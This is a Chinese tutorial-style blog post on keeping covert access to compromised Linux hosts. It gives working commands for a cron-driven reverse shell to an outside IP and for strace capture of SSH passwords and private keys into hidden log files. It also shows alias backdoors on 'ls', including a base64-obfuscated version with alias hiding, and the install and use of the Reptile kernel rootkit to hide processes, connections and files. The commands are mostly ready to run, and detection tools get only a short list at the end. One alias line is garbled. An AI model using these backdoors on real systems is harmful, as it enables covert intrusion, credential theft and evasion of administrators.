【权限维持】Linux&Rootkit后门&Strace监控&Alias别名&Cron定时任务

权限维持-Linux-定时任务-Cron后门

利用系统的定时任务功能进行反弹Shell
1、编辑后门反弹
vim /etc/.backshell.sh

#!/bin/bash
bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1
chmod +x /etc/.backshell.sh

2、添加定时任务

vim /etc/crontab
*/1 * * * * root /etc/.backshell.sh

在这里插入图片描述
成功反弹shell
在这里插入图片描述
配合挖矿木马病毒,自动挖矿,很多未授权redis数据库很多都被写入了挖矿程序

权限维持-Linux-监控功能-Strace后门

strace是一个动态跟踪工具,它可以跟踪系统调用的执行。
我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围

1、记录sshd明文

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

在这里插入图片描述
唯一的不足就是.sshd.log文件不停的在记录登陆字节流,生成的文件特别大
在这里插入图片描述
通过服务器监控面板可以明显看到
在这里插入图片描述

2、记录sshd私钥

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
grep 'PRIVATE KEY' /tmp/.sshd.log

权限维持-Linux-命令自定义-Alias后门

alias命令的功能:为命令设置别名
定义:alias ls = ‘ls -al’
删除:unalias ls
每次输入ls命令的时候都能实现ls -al
在这里插入图片描述

1、简单:

alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1; };alerts'

在这里插入图片描述
这样目标执行ls命令后可以上线,不过ls命令会被阻塞在那里,很容易引起怀疑,当结束终端窗口时,反弹shell的会话也会随着被终结,而且更改后的alias命令只在当前窗口才有效(重启也会失效)
在这里插入图片描述

2、升级:
alias ls=‘alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,’‘‘UTF-8’’‘)} alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'

3、持久化+隐藏:重启依旧生效

vim /etc/upload
vim ~/.bashrc
if [ -f /etc/upload ]; then
. /etc/upload
fi

权限维持-Linux-内核加载LKM-Rootkit后门

传统后门通过TCP连接,容易被发现
现在常用的linux维持权限的方法大多用crontab和开机自启动,同时使用的大多是msf 或者其它的tcp连接来反弹shell ,这种做法比较容易被管理员发现。所以我们想有一个非tcp连接、流量不容易被怀疑的后门,并且在大量的shell的场景下,可以管shell,Reptile刚好是种LKM rootkit,因此具有很好的隐藏性和强大的功能。
https://github.com/f0rb1dd3n/Reptile/releases/
自动化脚本搭建
Centos,Ubuntu

$kernel=`uname -r`
## centos
  yum -y install perl vim gcc make g++ unzip
  # 由于Cenots内核管理不便,所以使用下载对应版本的kernel-devel到本地
  yum -y localinstall kernel-devel-"$kernal".rpm
  cd Reptile-2.0/ && chmod +x ./setup.sh
  ./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
47.94.xx.xx
4444
1
EOF

## ubuntu
  apt-get install vim gcc make g++ unzip -y
  apt-get -y install linux-headers-$(uname -r)
  cd Reptile-2.0/ && chmod +x ./setup.sh
  ./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
10.10.10.129
4444
1
EOF

注意Rootkit是安装在目标主机上的
在这里插入图片描述
安装成功后,不显示文件夹,但是实际上是存在的
在这里插入图片描述

1、使用参考:
https://github.com/f0rb1dd3n/Reptile/wiki

隐藏进程: /reptile/reptile_cmd hide
显示进程: /reptile/reptile_cmd show

nohup ping 114.114.114.114 &
ps -ef | grep ping | grep -v grep
/reptile/reptile_cmd hide 4774
ps -ef | grep ping | grep -v grep

在这里插入图片描述
隐藏后门连接
隐藏连接: /reptile/reptile_cmd udp hide
显示连接: /reptile/reptile_cmd tcp show

netstat -anpt | grep 100.100.45.106
/reptile/reptile_cmd tcp 100.100.45.106 443 hide

在这里插入图片描述

隐藏文件:
文件名中带reptile的都会被隐藏

mkdir reptile_whgojp
mkdir reptile_file
ls -l
cd reptile_xiaodi

在这里插入图片描述

2、高级玩法
客户端安装
./setup.sh client
设置连接配置

LHOST    	47.94.236.117    	Local host to receive the shell
LPORT    	4444	Local     	port to receive the shell
SRCHOST   	47.94.236.117    	Source host on magic packets (spoof)
SRCPORT    	666    				Source port on magic packets (only for TCP/UDP)
RHOST    	121.43.154.113    	Remote host
RPORT    	22    				Remote port (only for TCP/UDP)
PROT    	TCP    				Protocol to send magic packet (ICMP/TCP/UDP)
PASS    	s3cr3t    			Backdoor password (optional)
TOKEN    	hax0r    			Token to trigger the shell

关于Rootkit的检测:

linux平台下:chkrootkit、rkhunter、OSSEC、zeppoo等
Windows平台下:BlackLight、RootkitRevealer、Rootkit Hook Analyzer

https://github.com/grayddq/GScan

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值